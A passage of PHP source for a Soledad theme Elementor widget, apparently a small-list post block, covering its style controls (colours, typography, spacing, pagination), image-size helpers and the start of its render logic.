			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'featured_image_shadow_enable', array(
			'label' => __( 'Enable Shadow?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_responsive_control( 'featured_image_shadow', array(
			'label'     => __( 'Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::BOX_SHADOW,
			'selectors' => [
				'{{WRAPPER}} .pcsl-thumb' => 'box-shadow: {{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{SPREAD}}px {{COLOR}} {{box_shadow_position.VALUE}};',
			],
			'condition' => [ 'featured_image_shadow_enable' => 'yes' ]
		) );

		$this->add_control( 'heading_pcat', array(
			'label'     => __( 'Post Categories', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'cat_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .cat > a.penci-cat-name' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'cat_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'cat_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .cat > a.penci-cat-name',
		) );

		$this->add_control( 'heading_ptitle', array(
			'label'     => __( 'Post Title', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'title_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-title a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'title_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-title a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'title_hcolor_effect', array(
			'label'     => __( 'Enable Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .pcsl-content .pcsl-title a' 		=> 'background-image: linear-gradient(var(--pcaccent-cl) 0%, var(--pcaccent-cl) 98%);background-size: 0 1px;background-repeat: no-repeat;background-position: left 100%;word-break: break-word;transition: 0.3s all ease-in-out;',
				'{{WRAPPER}} .pcsl-content .pcsl-title a:hover' => 'background-size: 100% 1px;',
			),
		) );

		$this->add_control( 'title_hcolor_effect_color', array(
			'label'     => __( 'Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-title a' => 'background-image: linear-gradient({{VALUE}} 0%, {{VALUE}} 98%)' ),
			'condition' => array( 'title_hcolor_effect' => 'yes' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'title_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcsl-content .pcsl-title',
		) );

		$this->add_control( 'heading_date', array(
			'label'     => __( 'Post Date ( for "Creative List" layout )', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'type' => array( 'nlist' ) ),
		) );

		$this->add_control( 'date_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-hdate .pcsl-date span' => 'color: {{VALUE}};' ),
			'condition' => array( 'type' => array( 'nlist' ) ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'date_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pcsl-hdate .pcsl-date span',
			'condition' => array( 'type' => array( 'nlist' ) ),
		) );

		$this->add_control( 'heading_meta', array(
			'label'     => __( 'Post Meta', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'meta_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta span' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'links_color', array(
			'label'     => __( 'Links Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta span a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'links_hcolor', array(
			'label'     => __( 'Links Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta span a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'meta_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .grid-post-box-meta',
		) );

		$this->add_control( 'heading_excerpt', array(
			'label'     => __( 'Post Excerpt', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'show_excerpt' => 'yes' ),
		) );

		$this->add_control( 'excerpt_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'show_excerpt' => 'yes' ),
			'selectors' => array( '{{WRAPPER}} .pcbg-pexcerpt, {{WRAPPER}} .pcbg-pexcerpt p' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'excerpt_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'condition' => array( 'show_excerpt' => 'yes' ),
			'selector'  => '{{WRAPPER}} .pcbg-pexcerpt p',
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_style_rm', array(
			'label'     => __( 'Read More Button', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => array( 'show_readmore' => 'yes' ),
		) );

		$this->add_responsive_control( 'rm_padding', array(
			'label'      => __( 'Button Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'condition'  => array( 'rmstyle!' => 'text' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'rm_borders', array(
			'label'      => __( 'Button Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'condition'  => array( 'rmstyle' => array( 'bordered', 'underline' ) ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'rm_radius', array(
			'label'      => __( 'Button Borders Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'condition'  => array( 'rmstyle' => array( 'bordered', 'filled' ) ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'rm_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn',
		) );

		$this->add_control( 'rm_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_hcolor', array(
			'label'     => __( 'Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'filled' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'filled' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn:hover' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_bdcolor', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'underline' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_hbdcolor', array(
			'label'     => __( 'Hover Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'underline' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn:hover' => 'border-color: {{VALUE}};' ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_style_spacing', array(
			'label' => __( 'Elements Spacing', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_responsive_control( 'cat_space', array(
			'label'     => __( 'Categories Margin Bottom', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-inner .pcsl-content .cat' => 'margin-bottom: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'meta_space', array(
			'label'     => __( 'Post Meta Margin Top', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-inner .grid-post-box-meta' => 'margin-top: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'excerpt_space', array(
			'label'     => __( 'Post Excerpt Margin Top', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'condition' => array( 'show_excerpt' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-pexcerpt' => 'margin-top: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'rm_space', array(
			'label'     => __( 'Read More Button Margin Top', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'condition' => array( 'show_readmore' => 'yes' ),
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-readmore' => 'margin-top: {{SIZE}}px;',
			),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'pagi_design', array(
			'label'     => __( 'Page Navigation', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => array(
				'paging!' => 'none',
				'type!'   => 'crs',
			),
		) );

		$this->add_responsive_control( 'pagi_mwidth', array(
			'label'      => __( 'Load More Posts Button Max Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => array( '%', 'px' ),
			'range'      => array(
				'%'  => array( 'min' => 0, 'max' => 100, ),
				'px' => array( 'min' => 0, 'max' => 2000, 'step' => 1 ),
			),
			'condition'  => array(
				'paging' => array( 'loadmore', 'scroll' ),
			),
			'selectors'  => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button' => 'max-width: {{SIZE}}{{UNIT}};',
			),
		) );

		$this->add_control( 'pagi_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'pagi_hcolor', array(
			'label'     => __( 'Text Hover & Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_color', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'border-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_hcolor', array(
			'label'     => __( 'Borders Hover & Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'border-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'background-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_hbgcolor', array(
			'label'     => __( 'Hover & Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'background-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'bgpagi_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .penci-pagination a, {{WRAPPER}} .penci-pagination span.current',
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_responsive_control( 'bgpagi_borderwidth', array(
			'label'      => __( 'Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!' => 'none',
			),
		) );

		$this->add_responsive_control( 'bgpagi_borderradius', array(
			'label'      => __( 'Borders Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!' => 'none',
			),
		) );

		$this->add_responsive_control( 'bgpagi_padding', array(
			'label'      => __( 'Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!' => 'none',
			),
		) );

		$this->end_controls_section();

		$this->register_penci_bookmark_style_groups();
		$this->register_paywall_premium_heading_style_groups();
		$this->register_block_heading_link_section_style();
		$this->register_block_title_style_section_controls();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings             = $this->get_settings();
		$type                 = $settings['type'] ? $settings['type'] : '';
		$dformat              = $settings['dformat'] ? $settings['dformat'] : '';
		$date_pos             = $settings['date_pos'] ? $settings['date_pos'] : 'left';
		$column               = $settings['column'] ? $settings['column'] : '3';
		$tab_column           = $settings['tab_column'] ? $settings['tab_column'] : '2';
		$mb_column            = $settings['mb_column'] ? $settings['mb_column'] : '1';
		$imgpos               = $settings['imgpos'] ? $settings['imgpos'] : 'left';
		$thumb_size_imgtop    = 'top' == $imgpos ? 'penci-thumb' : 'penci-thumb-small';
		if( get_theme_mod('penci_featured_image_size') == 'vertical' ){
			$thumb_size_imgtop = 'penci-thumb-vertical';
		} else if( get_theme_mod('penci_featured_image_size') == 'square' ){
			$thumb_size_imgtop = 'penci-thumb-square';
		}
		$thumb_size           = $settings['thumb_size'] ? $settings['thumb_size'] : $thumb_size_imgtop;
		$mthumb_size          = $settings['mthumb_size'] ? $settings['mthumb_size'] : $thumb_size_imgtop;
		$post_meta            = $settings['post_meta'] ? $settings['post_meta'] : array();
		$primary_cat          = $settings['primary_cat'] ? $settings['primary_cat'] : '';
		$title_length         = $settings['title_length'] ? $settings['title_length'] : '';
		$excerpt_pos          = $settings['excerpt_pos'] ? $settings['excerpt_pos'] : 'below';
		$paging               = $settings['paging'] ? $settings['paging'] : 'none';
		$paging_align         = $settings['paging_align'] ? $settings['paging_align'] : 'align-center';
		$archive_buider_check = $settings['posts_post_type'];
		if ( 'top' == $imgpos ) {
			$excerpt_pos = 'side';
		}
		$rmstyle        = $settings['rmstyle'] ? $settings['rmstyle'] : 'filled';
		$excerpt_length = $settings['excerpt_length'] ? $settings['excerpt_length'] : 15;

		$thumbnail = $thumb_size;
		if ( penci_is_mobile() ) {
			$thumbnail = $mthumb_size;
		}

		$inner_wrapper_class = 'pcsl-inner penci-clearfix';
		$inner_wrapper_class .= ' pcsl-' . $type;
		$item_class          = 'normal-item';
		if ( 'crs' == $type ) {
			$inner_wrapper_class .= ' penci-owl-carousel swiper penci-owl-carousel-slider';
			$item_class          = 'swiper-slide';
		}
		if ( isset( $settings['paywall_heading_text_style'] ) ) {
			$inner_wrapper_class .= ' pencipw-hd-' . $settings['paywall_heading_text_style'];
		}
		if ( 'nlist' == $type ) {
			$column     = '1';
			$tab_column = '1';
			$mb_column  = '1';
			if ( in_array( 'date', $post_meta ) ) {
				$inner_wrapper_class .= ' pcsl-hdate';
			}
		}
		$inner_wrapper_class .= ' pcsl-imgpos-' . $imgpos;
		$inner_wrapper_class .= ' pcsl-col-' . $column;
		$inner_wrapper_class .= ' pcsl-tabcol-' . $tab_column;
		$inner_wrapper_class .= ' pcsl-mobcol-' . $mb_column;
		if ( 'yes' == $settings['nocrop'] ) {
			$inner_wrapper_class .= ' pcsl-nocrop';
		}
		if ( 'yes' == $settings['hide_cat_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-cat-mhide';
		}
		if ( 'yes' == $settings['hide_meta_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-meta-mhide';
		}
		if ( 'yes' == $settings['hide_excerpt_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-excerpt-mhide';
		}
		if ( 'yes' == $settings['hide_rm_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-rm-mhide';
		}
		if ( 'yes' == $settings['imgtop_mobile'] && in_array( $imgpos, array( 'left', 'right' ) ) ) {
			$inner_wrapper_class .= ' pcsl-imgtopmobile';
		}
		if ( 'yes' == $settings['ver_border'] ) {
			$inner_wrapper_class .= ' pcsl-verbd';
		}

		$data_slider = '';
		if ( 'crs' == $type ) {
			$data_slider .= $settings['showdots'] ? ' data-dots="true"' : '';
			$data_slider .= $settings['shownav'] ? ' data-nav="true"' : '';
			$data_slider .= ! $settings['loop'] ? ' data-loop="true"' : '';
			$data_slider .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
			$data_slider .= $settings['auto_time'] ? ' data-autotime="' . $settings['auto_time'] . '"' : ' data-autotime="4000"';
			$data_slider .= $settings['speed'] ? ' data-speed="' . $settings['speed'] . '"' : ' data-speed="600"';

			$data_slider .= ' data-item="' . ( isset( $settings['column'] ) && $settings['column'] ? $settings['column'] : '3' ) . '"';
			$data_slider .= ' data-desktop="' . ( isset( $settings['column'] ) && $settings['column'] ? $settings['column'] : '3' ) . '" ';
			$data_slider .= ' data-tablet="' . ( isset( $settings['tab_column'] ) && $settings['tab_column'] ? $settings['tab_column'] : '2' ) . '"';
			$data_slider .= ' data-tabsmall="' . ( isset( $settings['tab_column'] ) && $settings['tab_column'] ? $settings['tab_column'] : '2' ) . '"';
			$data_slider .= ' data-mobile="' . ( isset( $settings['mb_column'] ) && $settings['mb_column'] ? $settings['mb_column'] : '1' ) . '"';
			$data_slider .= ' data-ceffect="' . $settings['carousel_slider_effect'] . '"';

		}

		$original_postype = $settings['posts_post_type'];

		if ( in_array( $original_postype, [
				'current_query',
				'related_posts'
			] ) && penci_elementor_is_edit_mode() && penci_is_builder_template() ) {
			$settings['posts_post_type'] = 'post';
		}

		$args          = Query_Control::get_query_args( 'posts', $settings );
		if ( in_array( $original_postype, [ 'current_query', 'related_posts' ] ) ) {
			$args['paged'] = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );
			$paged  = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
			$ppp    = $settings['posts_per_page'] ? $settings['posts_per_page'] : get_option( 'posts_per_page' );
			$ppp    = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
			$offset = 0;
			if ( $ppp ) {
				$args['posts_per_page'] = $ppp;
			}
			if ( $settings['arposts_new'] == 'yes' ) {
				$args['paged'] = 1;
			}
			if ( 0 < $settings['offset'] ) {
				$offset = $settings['offset'];
			}

			if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
				$offset = $settings['offset'] + ( ( $paged - 1 ) * $ppp );
			}

			if ( $offset ) {
				$args['offset'] = $offset;
			}
		}

		if ( 'numbers' == $paging ) {
			$paged_get = 'paged';
			if (is_front_page() && !is_home()):
				$paged_get = 'page';
			endif;
			$paged  = ( get_query_var( $paged_get ) ) ? get_query_var( $paged_get ) : 1;
			$args['paged'] = $paged;
		}
		
		$query_smalllist = new \WP_Query( $args );

		$block_id = 'pcblock_' . rand( 0, 9999 );

		$settings['blockid'] = $block_id;

		add_action( 'penci_block_title_extra_' . $block_id, function () use ( $settings, $args, $query_smalllist ) {
			$link_group_cats       = $settings['biggrid_ajaxfilter_cat'];
			$link_group_tags       = $settings['biggrid_ajaxfilter_tag'];
			$link_group_author     = $settings['biggrid_ajaxfilter_author'];
			$link_group_out        = $link_group_out_before = $link_group_out_after = '';
			$link_group_out_before .= '<nav data-ppp="' . $settings['posts_per_page'] . '" data-blockid="' . $settings['blockid'] . '" data-query_type="ajaxtab" data-more="' . esc_attr( $settings['group_more_link_text'] ) . '" class="pcnav-lgroup"><ul class="pcflx">';
			$link_group_out_after  = '</ul></nav>';
			$has_link              = false;

			if ( is_array( $link_group_cats ) ) {
				$has_link = true;
				foreach ( $link_group_cats as $link_cat ) {
					$element_id = 'link-wrapper-cat-' . $link_cat;
					$this->add_render_attribute( $element_id, 'href', '#' );
					if ( $link_cat ) {
						$this->add_render_attribute( $element_id, 'data-cat', $link_cat );
					}
					$this->add_render_attribute( $element_id, 'data-id', md5( 'cat-link-' . $link_cat ) );
					$this->add_render_attribute( $element_id, 'data-paged', 1 );
					$this->add_render_attribute( $element_id, 'class', 'pc-ajaxfil-link' );
					$link_group_out .= '<li><a ' . $this->get_render_attribute_string( $element_id ) . '>' . get_term_field( 'name', $link_cat ) . '</a></li>';
				}
			}

			if ( is_array( $link_group_tags ) ) {
				$has_link = true;
				foreach ( $link_group_tags as $link_tag ) {
					$element_id = 'link-wrapper-tag-' . $link_tag;
					$this->add_render_attribute( $element_id, 'href', '#' );
					if ( $link_tag ) {
						$this->add_render_attribute( $element_id, 'data-tag', $link_tag );
					}
					$this->add_render_attribute( $element_id, 'data-id', md5( 'tag-link-' . $link_tag ) );
					$this->add_render_attribute( $element_id, 'data-paged', 1 );
					$this->add_render_attribute( $element_id, 'class', 'pc-ajaxfil-link' );
					$link_group_out .= '<li><a ' . $this->get_render_attribute_string( $element_id ) . '>' . get_term_field( 'name', $link_tag ) . '</a></li>';
				}
			}

			if ( is_array( $link_group_author ) ) {
				$has_link = true;
				foreach ( $link_group_author as $author ) {
					$element_id = 'link-wrapper-author-' . $author;
					$this->add_render_attribute( $element_id, 'href', '#' );
					if ( $author ) {
						$this->add_render_attribute( $element_id, 'data-author', '#' );
					}
					$this->add_render_attribute( $element_id, 'data-id', md5( 'author-link-' . $author ) );
					$this->add_render_attribute( $element_id, 'data-paged', 1 );
					$this->add_render_attribute( $element_id, 'class', 'pc-ajaxfil-link' );
					$link_group_out .= '<li><a ' . $this->get_render_attribute_string( $element_id ) . '>' . get_the_author_meta( 'nicename', $author ) . '</a></li>';
				}
			}


			if ( 'nextprev' == $settings['paging'] ) {
				$link_group_out .= '</ul><ul class="pcflx-nav">';
				$link_group_out .= '<li class="pcaj-nav-item pcaj-prev"><a class="disable pc-ajaxfil-link pcaj-nav-link prev" data-id="" href="#" aria-label="Previous"><i class="penciicon-left-chevron"></i></a></li>';
				$link_group_out .= '<li class="pcaj-nav-item pcaj-next"><a class="pc-ajaxfil-link pcaj-nav-link next" data-id="" href="#" aria-label="Next"><i class="penciicon-right-chevron"></i></a></li>';
			}

			if ( $link_group_out ) {
				$first_class = $has_link ? 'visible' : 'hidden-item';
				$df_datamax  = '';
				if ( 'nextprev' == $settings['paging'] ) {
					$df_datamax = 'data-maxp="' . $query_smalllist->max_num_pages . '" ';
				}
				$link_group_out_before .= '<li class="all ' . $first_class . '"><a ' . $df_datamax . 'data-paged="1" class="pc-ajaxfil-link current-item" data-id="default" href="#" aria-label="Paged">' . $settings['group_more_defaultab_text'] . '</a></li>';

				wp_enqueue_script( 'penci_ajax_filter_slist' );
				echo $link_group_out_before . $link_group_out . $link_group_out_after;
			}
		} );

		if ( 'none' !== 'paging' ) {
